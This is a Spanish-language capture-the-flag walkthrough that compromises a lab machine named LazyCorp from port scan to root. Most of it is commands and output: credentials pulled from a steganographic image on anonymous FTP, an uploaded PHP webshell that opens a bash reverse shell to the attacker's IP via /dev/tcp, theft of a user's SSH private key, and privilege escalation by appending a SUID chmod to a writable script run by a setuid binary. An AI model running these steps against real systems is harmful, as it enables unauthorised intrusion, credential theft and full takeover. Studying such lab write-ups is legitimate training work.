Enumeramos puertos:
❯ nmap -sCV -p 21,22,80 -oN 02-targeted.txt 172.24.125.220
...
21/tcp open ftp vsftpd 3.0.5
|_drwxr-xr-x 2 114 119 4096 Jul 16 12:35 pub
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: LazyCorp | Empowering Devs
| http-robots.txt: 2 disallowed entries
|_/cms-admin.php /auth-LazyCorp-dev/
...En el FTP anónimo hay un note.jpg con credenciales esteganografiadas:
❯ stegseek -wl ~/Documents/wordlists/rockyou.txt note.jpg
[i] Found passphrase: ""
[i] Original filename: "creds.txt".
❯ cat note.jpg.out
Username: dev
Password: d3v3l0pm3nt!nt3rnEl robots.txt apunta a /auth-LazyCorp-dev/ (accesible en minúsculas). Iniciamos sesión en su login.php con esas credenciales y llegamos a un dashboard.php con subida de archivos. Subimos una webshell PHP:
❯ cat pwned.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/172.24.125.35/1234 0>&1'");
?>La ejecutamos desde /auth-lazycorp-dev/uploads/pwned.php:
❯ ncat -nlvp 1234
Ncat: Connection from 172.24.125.220:46838.
www-data@arvindlazycorp:/var/www/html/auth-lazycorp-dev/uploads$En el home de arvind podemos leer su id_rsa:
www-data@arvindlazycorp:/home/arvind/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
❯ ssh arvind@172.24.125.220 -i id_rsa_arvind
arvind@arvindlazycorp:~$Obtenemos la primera flag. En su home hay un binario SUID reset; con strings/ghidra vemos que hace setuid(0) y ejecuta /usr/bin/reset_site.sh:
undefined8 main(void)
{
setuid(0);
system("/usr/bin/reset_site.sh");
return 0;
}Ese script es escribible, así que le añadimos un chmod u+s /bin/bash y ejecutamos el binario:
arvind@arvindlazycorp:~$ ls -l /usr/bin/reset_site.sh
-rwxrwxr-x 1 root arvind 254 Jul 9 10:26 /usr/bin/reset_site.sh
arvind@arvindlazycorp:~$ echo 'chmod u+s /bin/bash' >> /usr/bin/reset_site.sh
arvind@arvindlazycorp:~$ ./reset
[*] Resetting website from backup...
[+] Done resetting.
arvind@arvindlazycorp:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
arvind@arvindlazycorp:~$ bash -p
bash-5.0# whoami
rootObtenemos nuestra flag.
Fin.